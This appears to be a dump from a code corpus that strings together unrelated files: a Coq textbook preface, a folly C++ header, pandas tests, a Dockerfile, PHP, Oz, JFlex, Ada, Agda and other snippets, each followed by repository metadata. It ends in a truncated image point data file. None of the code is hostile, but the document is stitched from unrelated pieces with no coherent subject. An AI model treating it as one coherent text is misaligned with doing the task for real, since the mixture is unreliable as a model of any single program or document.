- A current installation of Coq, available from the Coq home page. Everything
should work with version 8.4. (Version 8.5 will _not_ work, due to a few
incompatible changes in Coq between 8.4 and 8.5.)
- An IDE for interacting with Coq. Currently, there are two choices:
- Proof General is an Emacs-based IDE. It tends to be preferred by users who
are already comfortable with Emacs. It requires a separate installation
(google "Proof General").
- CoqIDE is a simpler stand-alone IDE. It is distributed with Coq, so it
should "just work" once you have Coq installed. It can also be compiled
from scratch, but on some platforms this may involve installing additional
packages for GUI libraries and such.
=== Exercises
Each chapter includes numerous exercises. Each is marked with a "star rating,"
which can be interpreted as follows:
- One star: easy exercises that underscore points in the text and that, for
most readers, should take only a minute or two. Get in the habit of working
these as you reach them.
- Two stars: straightforward exercises (five or ten minutes).
- Three stars: exercises requiring a bit of thought (ten minutes to half an
hour).
- Four and five stars: more difficult exercises (half an hour and up).
Also, some exercises are marked "advanced", and some are marked "optional."
Doing just the non-optional, non-advanced exercises should provide good coverage
of the core material. Optional exercises provide a bit of extra practice with
key concepts and introduce secondary themes that may be of interest to some
readers. Advanced exercises are for readers who want an extra challenge (and, in
return, a deeper contact with the material).
_Please do not post solutions to the exercises in any public place_: Software
Foundations is widely used both for self-study and for university courses.
Having solutions easily available makes it much less useful for courses, which
typically have graded homework assignments. The authors especially request that
readers not post solutions to the exercises anyplace where they can be found by
search engines.
=== Downloading the Coq Files
A tar file containing the full sources for the "release version" of these notes
(as a collection of Coq scripts and HTML files) is available here:
http://www.cis.upenn.edu/~bcpierce/sf
If you are using the notes as part of a class, you may be given access to a
locally extended version of the files, which you should use instead of the
release version.
== Translations
Thanks to the efforts of a team of volunteer translators, _Software Foundations_
can now be enjoyed in Japanese at [http://proofcafe.org/sf]. A Chinese
translation is underway.
| Idris | 4 | diseraluca/software-foundations | src/Preface.lidr | [
"MIT"
] |
/*
* Copyright (c) Facebook, Inc. and its affiliates.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#pragma once
#include <array>
#include <atomic>
#include <memory>
#include <folly/CppAttributes.h>
#include <folly/Portability.h>
#include <folly/Unit.h>
#include <folly/concurrency/CacheLocality.h>
#include <folly/synchronization/Hazptr.h>
namespace folly {
// On mobile we do not expect high concurrency, and memory is more important, so
// use more conservative caching.
constexpr size_t kCoreCachedSharedPtrDefaultMaxSlots = kIsMobile ? 4 : 64;
namespace core_cached_shared_ptr_detail {
template <size_t kMaxSlots>
class SlotsConfig {
public:
FOLLY_EXPORT static void initialize() {
FOLLY_MAYBE_UNUSED static const Unit _ = [] {
// We need at most as many slots as the number of L1 caches, so we can
// avoid wasting memory if more slots are requested.
const auto l1Caches = CacheLocality::system().numCachesByLevel.front();
num_ = std::min(std::max<size_t>(1, l1Caches), kMaxSlots);
return unit;
}();
}
static size_t num() { return num_.load(std::memory_order_relaxed); }
private:
static std::atomic<size_t> num_;
};
// Initialize with a valid num so that get() always returns a valid stripe, even
// if initialize() has not been called yet.
template <size_t kMaxSlots>
std::atomic<size_t> SlotsConfig<kMaxSlots>::num_{1};
// Check whether a shared_ptr is equivalent to default-constructed. Because of
// aliasing constructors, there can be both nullptr with a managed object, and
// non-nullptr with no managed object, so we need to check both.
template <class T>
bool isDefault(const std::shared_ptr<T>& p) {
return p == nullptr && p.use_count() == 0;
}
} // namespace core_cached_shared_ptr_detail
/**
* This class creates core-local caches for a given shared_ptr, to
* mitigate contention when acquiring/releasing it.
*
* It has the same thread-safety guarantees as shared_ptr: it is safe
* to concurrently call get(), but reset()s must be synchronized with
* reads and other reset()s.
*
* @author Giuseppe Ottaviano <ott@fb.com>
*/
template <class T, size_t kMaxSlots = kCoreCachedSharedPtrDefaultMaxSlots>
class CoreCachedSharedPtr {
using SlotsConfig = core_cached_shared_ptr_detail::SlotsConfig<kMaxSlots>;
public:
CoreCachedSharedPtr() = default;
explicit CoreCachedSharedPtr(const std::shared_ptr<T>& p) { reset(p); }
void reset(const std::shared_ptr<T>& p = nullptr) {
SlotsConfig::initialize();
// Allocate each Holder in a different CoreRawAllocator stripe to
// prevent false sharing. Their control blocks will be adjacent
// thanks to allocate_shared().
for (size_t i = 0; i < SlotsConfig::num(); ++i) {
// Try freeing the control block before allocating a new one.
slots_[i] = {};
if (!core_cached_shared_ptr_detail::isDefault(p)) {
auto alloc = getCoreAllocator<Holder, kMaxSlots>(i);
auto holder = std::allocate_shared<Holder>(alloc, p);
slots_[i] = std::shared_ptr<T>(holder, p.get());
}
}
}
std::shared_ptr<T> get() const {
return slots_[AccessSpreader<>::cachedCurrent(SlotsConfig::num())];
}
private:
using Holder = std::shared_ptr<T>;
template <class, size_t>
friend class CoreCachedWeakPtr;
std::array<std::shared_ptr<T>, kMaxSlots> slots_;
};
template <class T, size_t kMaxSlots = kCoreCachedSharedPtrDefaultMaxSlots>
class CoreCachedWeakPtr {
using SlotsConfig = core_cached_shared_ptr_detail::SlotsConfig<kMaxSlots>;
public:
CoreCachedWeakPtr() = default;
explicit CoreCachedWeakPtr(const CoreCachedSharedPtr<T, kMaxSlots>& p) {
reset(p);
}
void reset() { *this = {}; }
void reset(const CoreCachedSharedPtr<T, kMaxSlots>& p) {
SlotsConfig::initialize();
for (size_t i = 0; i < SlotsConfig::num(); ++i) {
slots_[i] = p.slots_[i];
}
}
std::weak_ptr<T> get() const {
return slots_[AccessSpreader<>::cachedCurrent(SlotsConfig::num())];
}
// Faster than get().lock(), as it avoid one weak count cycle.
std::shared_ptr<T> lock() const {
return slots_[AccessSpreader<>::cachedCurrent(SlotsConfig::num())].lock();
}
private:
std::array<std::weak_ptr<T>, kMaxSlots> slots_;
};
/**
* This class creates core-local caches for a given shared_ptr, to
* mitigate contention when acquiring/releasing it.
*
* All methods are threadsafe. Hazard pointers are used to avoid
* use-after-free for concurrent reset() and get() operations.
*
* Concurrent reset()s are sequenced with respect to each other: the
* sharded shared_ptrs will always all be set to the same value.
* get()s will never see a newer pointer on one core, and an older
* pointer on another after a subsequent thread migration.
*/
template <class T, size_t kMaxSlots = kCoreCachedSharedPtrDefaultMaxSlots>
class AtomicCoreCachedSharedPtr {
using SlotsConfig = core_cached_shared_ptr_detail::SlotsConfig<kMaxSlots>;
public:
AtomicCoreCachedSharedPtr() = default;
explicit AtomicCoreCachedSharedPtr(const std::shared_ptr<T>& p) { reset(p); }
~AtomicCoreCachedSharedPtr() {
// Delete of AtomicCoreCachedSharedPtr must be synchronized, no
// need for slots->retire().
delete slots_.load(std::memory_order_acquire);
}
void reset(const std::shared_ptr<T>& p = nullptr) {
SlotsConfig::initialize();
std::unique_ptr<Slots> newslots;
if (!core_cached_shared_ptr_detail::isDefault(p)) {
newslots = std::make_unique<Slots>();
// Allocate each Holder in a different CoreRawAllocator stripe to
// prevent false sharing. Their control blocks will be adjacent
// thanks to allocate_shared().
for (size_t i = 0; i < SlotsConfig::num(); ++i) {
auto alloc = getCoreAllocator<Holder, kMaxSlots>(i);
auto holder = std::allocate_shared<Holder>(alloc, p);
newslots->slots[i] = std::shared_ptr<T>(holder, p.get());
}
}
if (auto oldslots = slots_.exchange(newslots.release())) {
oldslots->retire();
}
}
std::shared_ptr<T> get() const {
folly::hazptr_local<1> hazptr;
if (auto slots = hazptr[0].protect(slots_)) {
return slots->slots[AccessSpreader<>::cachedCurrent(SlotsConfig::num())];
} else {
return nullptr;
}
}
private:
using Holder = std::shared_ptr<T>;
struct Slots : folly::hazptr_obj_base<Slots> {
std::array<std::shared_ptr<T>, kMaxSlots> slots;
};
std::atomic<Slots*> slots_{nullptr};
};
} // namespace folly
| C | 5 | Aoikiseki/folly | folly/concurrency/CoreCachedSharedPtr.h | [
"Apache-2.0"
] |
import numpy as np
import pytest
from pandas import (
DatetimeIndex,
Index,
NaT,
PeriodIndex,
TimedeltaIndex,
timedelta_range,
)
import pandas._testing as tm
def check_freq_ascending(ordered, orig, ascending):
"""
Check the expected freq on a PeriodIndex/DatetimeIndex/TimedeltaIndex
when the original index is generated (or generate-able) with
period_range/date_range/timedelta_range.
"""
if isinstance(ordered, PeriodIndex):
assert ordered.freq == orig.freq
elif isinstance(ordered, (DatetimeIndex, TimedeltaIndex)):
if ascending:
assert ordered.freq.n == orig.freq.n
else:
assert ordered.freq.n == -1 * orig.freq.n
def check_freq_nonmonotonic(ordered, orig):
"""
Check the expected freq on a PeriodIndex/DatetimeIndex/TimedeltaIndex
when the original index is _not_ generated (or generate-able) with
period_range/date_range//timedelta_range.
"""
if isinstance(ordered, PeriodIndex):
assert ordered.freq == orig.freq
elif isinstance(ordered, (DatetimeIndex, TimedeltaIndex)):
assert ordered.freq is None
class TestSortValues:
@pytest.fixture(params=[DatetimeIndex, TimedeltaIndex, PeriodIndex])
def non_monotonic_idx(self, request):
if request.param is DatetimeIndex:
return DatetimeIndex(["2000-01-04", "2000-01-01", "2000-01-02"])
elif request.param is PeriodIndex:
dti = DatetimeIndex(["2000-01-04", "2000-01-01", "2000-01-02"])
return dti.to_period("D")
else:
return TimedeltaIndex(
["1 day 00:00:05", "1 day 00:00:01", "1 day 00:00:02"]
)
def test_argmin_argmax(self, non_monotonic_idx):
assert non_monotonic_idx.argmin() == 1
assert non_monotonic_idx.argmax() == 0
def test_sort_values(self, non_monotonic_idx):
idx = non_monotonic_idx
ordered = idx.sort_values()
assert ordered.is_monotonic
ordered = idx.sort_values(ascending=False)
assert ordered[::-1].is_monotonic
ordered, dexer = idx.sort_values(return_indexer=True)
assert ordered.is_monotonic
tm.assert_numpy_array_equal(dexer, np.array([1, 2, 0], dtype=np.intp))
ordered, dexer = idx.sort_values(return_indexer=True, ascending=False)
assert ordered[::-1].is_monotonic
tm.assert_numpy_array_equal(dexer, np.array([0, 2, 1], dtype=np.intp))
def check_sort_values_with_freq(self, idx):
ordered = idx.sort_values()
tm.assert_index_equal(ordered, idx)
check_freq_ascending(ordered, idx, True)
ordered = idx.sort_values(ascending=False)
expected = idx[::-1]
tm.assert_index_equal(ordered, expected)
check_freq_ascending(ordered, idx, False)
ordered, indexer = idx.sort_values(return_indexer=True)
tm.assert_index_equal(ordered, idx)
tm.assert_numpy_array_equal(indexer, np.array([0, 1, 2], dtype=np.intp))
check_freq_ascending(ordered, idx, True)
ordered, indexer = idx.sort_values(return_indexer=True, ascending=False)
expected = idx[::-1]
tm.assert_index_equal(ordered, expected)
tm.assert_numpy_array_equal(indexer, np.array([2, 1, 0], dtype=np.intp))
check_freq_ascending(ordered, idx, False)
@pytest.mark.parametrize("freq", ["D", "H"])
def test_sort_values_with_freq_timedeltaindex(self, freq):
# GH#10295
idx = timedelta_range(start=f"1{freq}", periods=3, freq=freq).rename("idx")
self.check_sort_values_with_freq(idx)
@pytest.mark.parametrize(
"idx",
[
DatetimeIndex(
["2011-01-01", "2011-01-02", "2011-01-03"], freq="D", name="idx"
),
DatetimeIndex(
["2011-01-01 09:00", "2011-01-01 10:00", "2011-01-01 11:00"],
freq="H",
name="tzidx",
tz="Asia/Tokyo",
),
],
)
def test_sort_values_with_freq_datetimeindex(self, idx):
self.check_sort_values_with_freq(idx)
@pytest.mark.parametrize("freq", ["D", "2D", "4D"])
def test_sort_values_with_freq_periodindex(self, freq):
# here with_freq refers to being period_range-like
idx = PeriodIndex(
["2011-01-01", "2011-01-02", "2011-01-03"], freq=freq, name="idx"
)
self.check_sort_values_with_freq(idx)
@pytest.mark.parametrize(
"idx",
[
PeriodIndex(["2011", "2012", "2013"], name="pidx", freq="A"),
Index([2011, 2012, 2013], name="idx"), # for compatibility check
],
)
def test_sort_values_with_freq_periodindex2(self, idx):
# here with_freq indicates this is period_range-like
self.check_sort_values_with_freq(idx)
def check_sort_values_without_freq(self, idx, expected):
ordered = idx.sort_values(na_position="first")
tm.assert_index_equal(ordered, expected)
check_freq_nonmonotonic(ordered, idx)
if not idx.isna().any():
ordered = idx.sort_values()
tm.assert_index_equal(ordered, expected)
check_freq_nonmonotonic(ordered, idx)
ordered = idx.sort_values(ascending=False)
tm.assert_index_equal(ordered, expected[::-1])
check_freq_nonmonotonic(ordered, idx)
ordered, indexer = idx.sort_values(return_indexer=True, na_position="first")
tm.assert_index_equal(ordered, expected)
exp = np.array([0, 4, 3, 1, 2], dtype=np.intp)
tm.assert_numpy_array_equal(indexer, exp)
check_freq_nonmonotonic(ordered, idx)
if not idx.isna().any():
ordered, indexer = idx.sort_values(return_indexer=True)
tm.assert_index_equal(ordered, expected)
exp = np.array([0, 4, 3, 1, 2], dtype=np.intp)
tm.assert_numpy_array_equal(indexer, exp)
check_freq_nonmonotonic(ordered, idx)
ordered, indexer = idx.sort_values(return_indexer=True, ascending=False)
tm.assert_index_equal(ordered, expected[::-1])
exp = np.array([2, 1, 3, 0, 4], dtype=np.intp)
tm.assert_numpy_array_equal(indexer, exp)
check_freq_nonmonotonic(ordered, idx)
def test_sort_values_without_freq_timedeltaindex(self):
# GH#10295
idx = TimedeltaIndex(
["1 hour", "3 hour", "5 hour", "2 hour ", "1 hour"], name="idx1"
)
expected = TimedeltaIndex(
["1 hour", "1 hour", "2 hour", "3 hour", "5 hour"], name="idx1"
)
self.check_sort_values_without_freq(idx, expected)
@pytest.mark.parametrize(
"index_dates,expected_dates",
[
(
["2011-01-01", "2011-01-03", "2011-01-05", "2011-01-02", "2011-01-01"],
["2011-01-01", "2011-01-01", "2011-01-02", "2011-01-03", "2011-01-05"],
),
(
["2011-01-01", "2011-01-03", "2011-01-05", "2011-01-02", "2011-01-01"],
["2011-01-01", "2011-01-01", "2011-01-02", "2011-01-03", "2011-01-05"],
),
(
[NaT, "2011-01-03", "2011-01-05", "2011-01-02", NaT],
[NaT, NaT, "2011-01-02", "2011-01-03", "2011-01-05"],
),
],
)
def test_sort_values_without_freq_datetimeindex(
self, index_dates, expected_dates, tz_naive_fixture
):
tz = tz_naive_fixture
# without freq
idx = DatetimeIndex(index_dates, tz=tz, name="idx")
expected = DatetimeIndex(expected_dates, tz=tz, name="idx")
self.check_sort_values_without_freq(idx, expected)
@pytest.mark.parametrize(
"idx,expected",
[
(
PeriodIndex(
[
"2011-01-01",
"2011-01-03",
"2011-01-05",
"2011-01-02",
"2011-01-01",
],
freq="D",
name="idx1",
),
PeriodIndex(
[
"2011-01-01",
"2011-01-01",
"2011-01-02",
"2011-01-03",
"2011-01-05",
],
freq="D",
name="idx1",
),
),
(
PeriodIndex(
[
"2011-01-01",
"2011-01-03",
"2011-01-05",
"2011-01-02",
"2011-01-01",
],
freq="D",
name="idx2",
),
PeriodIndex(
[
"2011-01-01",
"2011-01-01",
"2011-01-02",
"2011-01-03",
"2011-01-05",
],
freq="D",
name="idx2",
),
),
(
PeriodIndex(
[NaT, "2011-01-03", "2011-01-05", "2011-01-02", NaT],
freq="D",
name="idx3",
),
PeriodIndex(
[NaT, NaT, "2011-01-02", "2011-01-03", "2011-01-05"],
freq="D",
name="idx3",
),
),
(
PeriodIndex(
["2011", "2013", "2015", "2012", "2011"], name="pidx", freq="A"
),
PeriodIndex(
["2011", "2011", "2012", "2013", "2015"], name="pidx", freq="A"
),
),
(
# For compatibility check
Index([2011, 2013, 2015, 2012, 2011], name="idx"),
Index([2011, 2011, 2012, 2013, 2015], name="idx"),
),
],
)
def test_sort_values_without_freq_periodindex(self, idx, expected):
# here without_freq means not generateable by period_range
self.check_sort_values_without_freq(idx, expected)
def test_sort_values_without_freq_periodindex_nat(self):
# doesn't quite fit into check_sort_values_without_freq
idx = PeriodIndex(["2011", "2013", "NaT", "2011"], name="pidx", freq="D")
expected = PeriodIndex(["NaT", "2011", "2011", "2013"], name="pidx", freq="D")
ordered = idx.sort_values(na_position="first")
tm.assert_index_equal(ordered, expected)
check_freq_nonmonotonic(ordered, idx)
ordered = idx.sort_values(ascending=False)
tm.assert_index_equal(ordered, expected[::-1])
check_freq_nonmonotonic(ordered, idx)
def test_order_stability_compat():
# GH#35922. sort_values is stable both for normal and datetime-like Index
pidx = PeriodIndex(["2011", "2013", "2015", "2012", "2011"], name="pidx", freq="A")
iidx = Index([2011, 2013, 2015, 2012, 2011], name="idx")
ordered1, indexer1 = pidx.sort_values(return_indexer=True, ascending=False)
ordered2, indexer2 = iidx.sort_values(return_indexer=True, ascending=False)
tm.assert_numpy_array_equal(indexer1, indexer2)
| Python | 5 | 13rianlucero/CrabAgePrediction | crabageprediction/venv/Lib/site-packages/pandas/tests/indexes/datetimelike_/test_sort_values.py | [
"MIT"
] |
FROM node:14
WORKDIR /code
COPY package.json /code/package.json
COPY package-lock.json /code/package-lock.json
RUN npm install
COPY . /code
CMD ["npm", "run", "dev"]
| Dockerfile | 3 | praniya-tech/AdminLTE | Dockerfile | [
"MIT"
] |
--TEST--
JIT FETCH_DIM_R: 008
--INI--
opcache.enable=1
opcache.enable_cli=1
opcache.file_update_protection=0
opcache.jit_buffer_size=1M
--FILE--
<?php
function &test() { return $x; }
test()[1];
?>
DONE
--EXPECTF--
Warning: Trying to access array offset on value of type null in %sfetch_dim_r_008.php on line 3
DONE
| PHP | 2 | NathanFreeman/php-src | ext/opcache/tests/jit/fetch_dim_r_008.phpt | [
"PHP-3.01"
] |
import named from "./a";
export { named }
| JavaScript | 1 | 1shenxi/webpack | test/cases/scope-hoisting/indirect-reexport/b.js | [
"MIT"
] |
functor
import
FS
Search
export
Return
define
Bits = 7 % maximal domain (7 bit, ie, 128 codes)
Dist = 2 % minimal hamming distance
Num = 16 % number of variables
Top = {FS.value.make [1#Bits]}
proc {MinDist X Y}
Common1s = {FS.intersect X Y}
Common0s = {FS.complIn {FS.union X Y} Top}
in
{FS.card Common1s} + {FS.card Common0s} =<: Bits-Dist
end
%
% Num set variables below {1,...,Bits}
% with minimal hamming distance Dist
%
proc {Hamming Xs}
Xs = {MakeList Num}
{ForAll Xs
fun {$} {FS.var.upperBound [1#Bits]} end}
{ForAllTail Xs
proc {$ Ys}
Y|Yr = Ys
in
{ForAll Yr
proc {$ Z} {MinDist Y Z} end}
end}
{FS.distribute naive Xs}
end
HammingSol =
[[{FS.value.make [1#7]}
{FS.value.make [1#5]}
{FS.value.make [1#4 6]}
{FS.value.make [1#4 7]}
{FS.value.make [1#3 5#6]}
{FS.value.make [1#3 5 7]}
{FS.value.make [1#3 6#7]}
{FS.value.make [1#3]}
{FS.value.make [1#2 4#6]}
{FS.value.make [1#2 4#5 7]}
{FS.value.make [1#2 4 6#7]}
{FS.value.make [1#2 4]}
{FS.value.make [1#2 5#7]}
{FS.value.make [1#2 5]}
{FS.value.make [1#2 6]}
{FS.value.make [1#2 7]}
]]
Return=
fs([hamming([
one(equal(fun {$} {Search.base.one Hamming} end HammingSol)
keys: [fs])
one_entailed(entailed(proc {$}
{Search.base.one Hamming _}
end)
keys: [fs entailed])
]
)
]
)
end
| Oz | 3 | Ahzed11/mozart2 | platform-test/fs/hamming.oz | [
"BSD-2-Clause"
] |
/**
* IMPORTANT: must compile with JFlex 1.4, JFlex 1.4.3 seems buggy with look-ahead
*
* How to generate StrptimeLexer.java
* 1. Download and install JFlex 1.4 from https://sourceforge.net/projects/jflex/files/jflex/1.4/
* 2. Execute bin/jflex command to generate StrptimeLexer.java
* $ bin/jflex core/src/main/java/org/jruby/lexer/StrptimeLexer.java
*/
package org.jruby.lexer;
import org.jruby.util.StrptimeToken;
%%
%public
%class StrptimeLexer
//%debug
%unicode
%type org.jruby.util.StrptimeToken
%{
StringBuilder stringBuf = new StringBuilder();
public StrptimeToken rawString() {
String str = stringBuf.toString();
stringBuf.setLength(0);
return StrptimeToken.str(str);
}
public StrptimeToken directive(char c) {
StrptimeToken token;
if (c == 'z') {
int colons = yylength()-1; // can only be colons except the 'z'
return StrptimeToken.zoneOffsetColons(colons);
} else if ((token = StrptimeToken.format(c)) != null) {
return token;
} else {
return StrptimeToken.special(c);
}
}
%}
Flags = [-_0#\^]+
Width = [1-9][0-9]*
// See RubyDateFormatter.main to generate this
// Chars are sorted by | ruby -e 'p STDIN.each_char.sort{|a,b|a.casecmp(b).tap{|c|break a<=>b if c==0}}.join'
Conversion = [\+AaBbCcDdeFGgHhIjkLlMmNnPpQRrSsTtUuVvWwXxYyZz] | {IgnoredModifier} | {Zone}
// From MRI strftime.c
IgnoredModifier = E[CcXxYy] | O[deHIMmSUuVWwy]
Zone = :{1,3} z
SimpleDirective = "%"
LiteralPercent = "%%"
Unknown = .|\n
%xstate CONVERSION
%%
<YYINITIAL> {
{LiteralPercent} { return StrptimeToken.str("%"); }
{SimpleDirective} / {Conversion} { yybegin(CONVERSION); }
}
<CONVERSION> {Conversion} { yybegin(YYINITIAL); return directive(yycharat(yylength()-1)); }
/* fallback */
{Unknown} / [^%] { stringBuf.append(yycharat(0)); }
{Unknown} { stringBuf.append(yycharat(0)); return rawString(); }
| JFlex | 4 | barrhaim/jruby | core/src/main/java/org/jruby/lexer/StrptimeLexer.flex | [
"Ruby",
"Apache-2.0"
] |
with Ada.Strings.Unbounded;
use Ada.Strings.Unbounded;
package body Gilded_Rose is
procedure Update_Quality(Self : in out Gilded_Rose) is
Cursor : Item_Vecs.Cursor := Item_Vecs.First(Self.Items);
begin
while Item_Vecs.Has_Element(Cursor) loop
if Self.Items(Cursor).Name /= To_Unbounded_String("Aged Brie")
and Self.Items(Cursor).Name /= To_Unbounded_String("Backstage passes to a TAFKAL80ETC concert") then
if Self.Items(Cursor).Quality > 0 then
if Self.Items(Cursor).Name /= To_Unbounded_String("Sulfuras, Hand of Ragnaros") then
Self.Items(Cursor).Quality := Self.Items(Cursor).Quality - 1;
end if;
end if;
else
if Self.Items(Cursor).Quality < 50 then
Self.Items(Cursor).Quality := Self.Items(Cursor).Quality + 1;
if Self.Items(Cursor).Name = To_Unbounded_String("Backstage passes to a TAFKAL80ETC concert") then
if Self.Items(Cursor).Sell_In < 11 then
if Self.Items(Cursor).Quality < 50 then
Self.Items(Cursor).Quality := Self.Items(Cursor).Quality + 1;
end if;
end if;
if Self.Items(Cursor).Sell_In < 6 then
if Self.Items(Cursor).Quality < 50 then
Self.Items(Cursor).Quality := Self.Items(Cursor).Quality + 1;
end if;
end if;
end if;
end if;
end if;
if Self.Items(Cursor).Name /= To_Unbounded_String("Sulfuras, Hand of Ragnaros") then
Self.Items(Cursor).Sell_In := Self.Items(Cursor).Sell_In - 1;
end if;
if Self.Items(Cursor).Sell_In < 0 then
if Self.Items(Cursor).Name /= To_Unbounded_String("Aged Brie") then
if Self.Items(Cursor).Name /= To_Unbounded_String("Backstage passes to a TAFKAL80ETC concert") then
if Self.Items(Cursor).Quality > 0 then
if Self.Items(Cursor).Name /= To_Unbounded_String("Sulfuras, Hand of Ragnaros") then
Self.Items(Cursor).Quality := Self.Items(Cursor).Quality - 1;
end if;
end if;
else
Self.Items(Cursor).Quality := Self.Items(Cursor).Quality - Self.Items(Cursor).Quality;
end if;
else
if Self.Items(Cursor).Quality < 50 then
Self.Items(Cursor).Quality := Self.Items(Cursor).Quality + 1;
end if;
end if;
end if;
Item_Vecs.Next(Cursor);
end loop;
end;
end Gilded_Rose;
| Ada | 3 | yangyangisyou/GildedRose-Refactoring-Kata | Ada/gilded_rose.adb | [
"MIT"
] |
//MOC-FLAG --actor-idl bad-actor-import5
import imported1 "canister:foo";
//SKIP run
//SKIP run-ir
//SKIP run-low
//SKIP comp
| Modelica | 1 | olaszakos/motoko | test/fail/bad-actor-import5.mo | [
"Apache-2.0"
] |
// https://dom.spec.whatwg.org/#interface-documentfragment
[Exposed=Window]
interface DocumentFragment : Node {
constructor();
};
| WebIDL | 3 | Unique184/jsdom | lib/jsdom/living/nodes/DocumentFragment.webidl | [
"MIT"
] |
def gen_keywords [] {
let cmds = (help commands | where description != '' | get name | str collect '|')
let var_with_dash_or_under_regex = "(([a-zA-Z]+[\\-_]){1,}[a-zA-Z]+\\s)"
let preamble = "\\b("
let postamble = ")\\b"
$'"match": "($var_with_dash_or_under_regex)|($preamble)($cmds)($postamble)",'
}
$"Generating keywords(char nl)"
gen_keywords
char nl
char nl
def gen_sub_keywords [] {
let sub_cmds = (help commands | get subcommands | insert base { get name | split column ' ' base sub} | flatten | reject name description)
let preamble = "\\b("
let postamble = ")\\b"
let cmds = (for x in $sub_cmds {
$"($x.base)\\s($x.sub)"
} | str collect '|')
$'"match": "($preamble)($cmds)($postamble)",'
}
$"Generating sub keywords(char nl)"
gen_sub_keywords
char nl | Nu | 3 | x3rAx/nu_scripts | make_release/gen-js-ext.nu | [
"MIT"
] |
package gw.specContrib.classes
uses java.lang.Runnable
enhancement Errant_EnhancementNotNamedAfterFile_222: String { //## issuekeys: MSG_WRONG_CLASSNAME
function test() {
new Runnable(){
override function run() {
}
}.run()
}
}
| Gosu | 3 | tcmoore32/sheer-madness | gosu-test/src/test/gosu/gw/specContrib/classes/Errant_EnhancementNotNamedAfterFile.gsx | [
"Apache-2.0"
] |
<vector xmlns:android="http://schemas.android.com/apk/res/android"
android:width="20dp"
android:height="20dp"
android:viewportWidth="20"
android:viewportHeight="20"
android:tint="?attr/colorControlNormal">
<path
android:fillColor="@android:color/white"
android:pathData="M11.5,5l-0.31,-1.24C11.08,3.31 10.68,3 10.22,3H5C4.45,3 4,3.45 4,4v13h1.5v-6h5l0.31,1.24c0.11,0.45 0.51,0.76 0.97,0.76H15c0.55,0 1,-0.45 1,-1V6c0,-0.55 -0.45,-1 -1,-1H11.5z"/>
</vector>
| XML | 3 | Imudassir77/material-design-icons | android/image/assistant_photo/materialiconsround/black/res/drawable/round_assistant_photo_20.xml | [
"Apache-2.0"
] |
USING: help.markup help.syntax math strings ;
IN: math.text.french
HELP: number>text
{ $values { "n" integer } { "str" string } }
{ $description "Return the a string describing " { $snippet "n" } " in French. Numbers with absolute value equal to or greater than 10^12 will be returned using their numeric representation." } ;
| Factor | 4 | alex-ilin/factor | extra/math/text/french/french-docs.factor | [
"BSD-2-Clause"
] |
<?php
namespace {{invokerPackage}}\Validator;
use App\Strategy\QueryParameter;
class QueryParameterType extends Type
{
const RE_INT = '0|-?[1-9]\d*';
const RE_BOOL = 'true|false';
const RE_FLOAT = '0(\.\d+)?|-?[1-9]\d*(\.\d+)?|-0\.\d+';
protected function checkType($value)
{
switch ($this->type) {
case QueryParameter::TYPE_INT:
return is_string($value) && preg_match('/^(' . self::RE_INT . ')$/', $value);
case QueryParameter::TYPE_BOOL:
return is_string($value) && preg_match('/^(' . self::RE_BOOL . ')$/', $value);
case QueryParameter::TYPE_FLOAT:
return is_string($value) && preg_match('/^(' . self::RE_FLOAT . ')$/', $value);
case QueryParameter::TYPE_STRING:
return is_string($value);
default:
throw new \InvalidArgumentException(sprintf('Can not check for type %s.', $this->type));
}
}
}
| HTML+Django | 4 | derBiggi/swagger-codegen | modules/swagger-codegen/src/main/resources/ze-ph/QueryParameterType.php.mustache | [
"Apache-2.0"
] |
-- Andreas, 2019-02-24, issue #3457
-- Error messages for illegal as-clause
import Agda.Builtin.Nat Fresh-name as _
-- Previously, this complained about a duplicate module definition
-- with unspeakable name.
-- Expected error:
-- Not in scope: Fresh-name
| Agda | 4 | shlevy/agda | test/Fail/Issue3457.agda | [
"BSD-3-Clause"
] |
IMAGE POINT FILE
174
pt_id,val,fid_val,no_obs,l.,s.,sig_l,sig_s,res_l,res_s,fid_x,fid_y
9_8344_8845_4r 1 0 0
1987.945190 -843.060364
0.000000 0.000000
0.457822 -0.080303
0.000000 0.000000
10_8344_8845_4r 1 0 0
2006.141113 -2234.915283
0.000000 0.000000
0.318779 -0.585138
0.000000 0.000000
11_8344_8845_4r 1 0 0
5293.700195 -993.390625
0.000000 0.000000
0.672877 0.626316
0.000000 0.000000
12_8344_8845_4r 1 0 0
5158.205566 -2295.737549
0.000000 0.000000
0.487209 0.036399
0.000000 0.000000
13_8344_8845_4r 1 0 0
3493.876221 -1493.029175
0.000000 0.000000
0.568393 0.146750
0.000000 0.000000
14_8344_8845_4r 1 0 0
8437.115234 -842.309326
0.000000 0.000000
0.289877 -0.829150
0.000000 0.000000
15_8344_8845_4r_mt_z 1 0 0
8440.085938 -2219.049805
0.000000 0.000000
0.274030 -0.850105
0.000000 0.000000
16_8344_8845_4r 1 0 0
6805.896973 -1493.774048
0.000000 0.000000
0.328896 0.019526
0.000000 0.000000
23_8344_8845_4r_mt_z 1 0 0
2204.732910 -1196.055054
0.000000 0.000000
0.426228 -0.064633
0.000000 0.000000
25_8344_8845_4r_mt_z 1 0 0
8401.223633 -1126.527344
0.000000 0.000000
0.600040 -0.594647
0.000000 0.000000
29_8344_8845_4r_mt_z 1 0 0
6869.981445 -1799.568970
0.000000 0.000000
0.811132 -0.462450
0.000000 0.000000
32_2371_1540_2r_mt_z 1 0 0
10825.428711 2014.447266
0.000000 0.000000
0.348687 0.121956
0.000000 0.000000
33_2371_1540_2r 1 0 0
11029.273438 -2280.551025
0.000000 0.000000
0.449797 -0.179107
0.000000 0.000000
34_2371_1540_2r_mt_z 1 0 0
10841.244141 -1937.285767
0.000000 0.000000
0.449859 0.079059
0.000000 0.000000
35_2371_1540_2r_mt_z 1 0 0
5601.211914 500.767731
0.000000 0.000000
0.226390 0.111506
0.000000 0.000000
36_2371_1540_2r_mt_z 1 0 0
6140.128418 -110.320007
0.000000 0.000000
0.198887 -0.160404
0.000000 0.000000
37_2371_1540_2r_mt_z 1 0 0
779.357300 2223.050293
0.000000 0.000000
0.725745 0.120061
0.000000 0.000000
38_2371_1540_2r_mt_z 1 0 0
1324.289307 1565.619873
0.000000 0.000000
0.408399 0.270269
0.000000 0.000000
39_2371_1540_3r 1 0 0
1593.265991 -1984.256104
